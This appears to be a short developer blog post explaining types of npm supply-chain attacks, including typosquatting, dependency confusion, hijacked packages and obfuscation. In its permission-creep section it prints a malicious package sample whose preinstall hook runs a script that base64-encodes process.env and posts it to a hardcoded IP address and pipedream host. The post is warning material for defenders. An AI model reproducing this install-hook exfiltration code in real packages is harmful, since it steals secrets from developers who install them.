TIL types of malicious npm attacks
POSTED ON:
After the ionicons attack, I've been getting a lot more aware of what sort of NPM packages we're installing.
For those not in the know:
Typosquatting is when an attacker publishes a package which has a very similar name to a legitimate and popular package.
In the case of ionicons, the miscreants published 18 versions containing malicious form-stealing code; for example, icon-package (according to NPM download stats) has over 17,000 downloads. Other typo-squatting examples include umbrellaks instead of umbrellajs and so on.
via Typo-squatting NPM software supply chain attack uncovered
What other methods of NPM attacks are there?
Dependency confusion #
This attack vector is pretty closely related to typosquatting. Dependency confusion happens when a company publishes packages to an internal npm registry and uses a name that hasn't yet been registered on the public npm registry. Later, an attacker can come along and register the available package. Now there's a private legitimate package and a public malware package, both with the same name.
Hijacked packages #
Criminals and miscreants find ways to infiltrate our communities and and infect popular packages. Once they get control of a package and they can publish to it, they'll steal credentials or install backdoors
For example: Maintainers get hacked in some way.
Permission creep (shell, network, filesystem, environment vars) #
Permission creep happens when a package which previously didn't use privileged APIs, such as the shell, network, filesystem, or environment variables, but then suddenly starts to use these powerful APIs.
// package.json
{
"name": "<redacted>",
"version": "9998.9999.2",
"description": "...",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node dns.js | node index.js | node specific-fields.js"
},
"files": ["specific-fields.js", "index.js", "dns.js"],
"author": "",
"license": "ISC"
}
// index.js file
const http = require('https')
var evilPersonWebsite: '411c316239cf14afaa1f37bbc5666207.m.pipedream.net'
req = http
.request({
host: '34.195.72.180',
path: '/',
method: 'POST',
headers: {
host: evilPersonWebsite,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'
}
})
.on('error', function (err) {})
// See how it's stealing your process.env file that then sends it to the evilPersonWebsite above?
req.write(Buffer.from(JSON.stringify(process.env)).toString('base64'))
req.end()
Obfuscation #
We already saw an example of this before. Obfuscated code makes it hard to audit code and decipher what it is doing. This can be used to hide malicious code from tools which use static analysis, such as Socket, although we have techniques to detect obfuscation and we use that as a strong negative signal.
This is taking the above code, and abstracting it over and over again so it no longer becomes human readable.
Fun. :-(
via What's Really Going On Inside Your node_modules Folder?
Related TILs
Tagged: security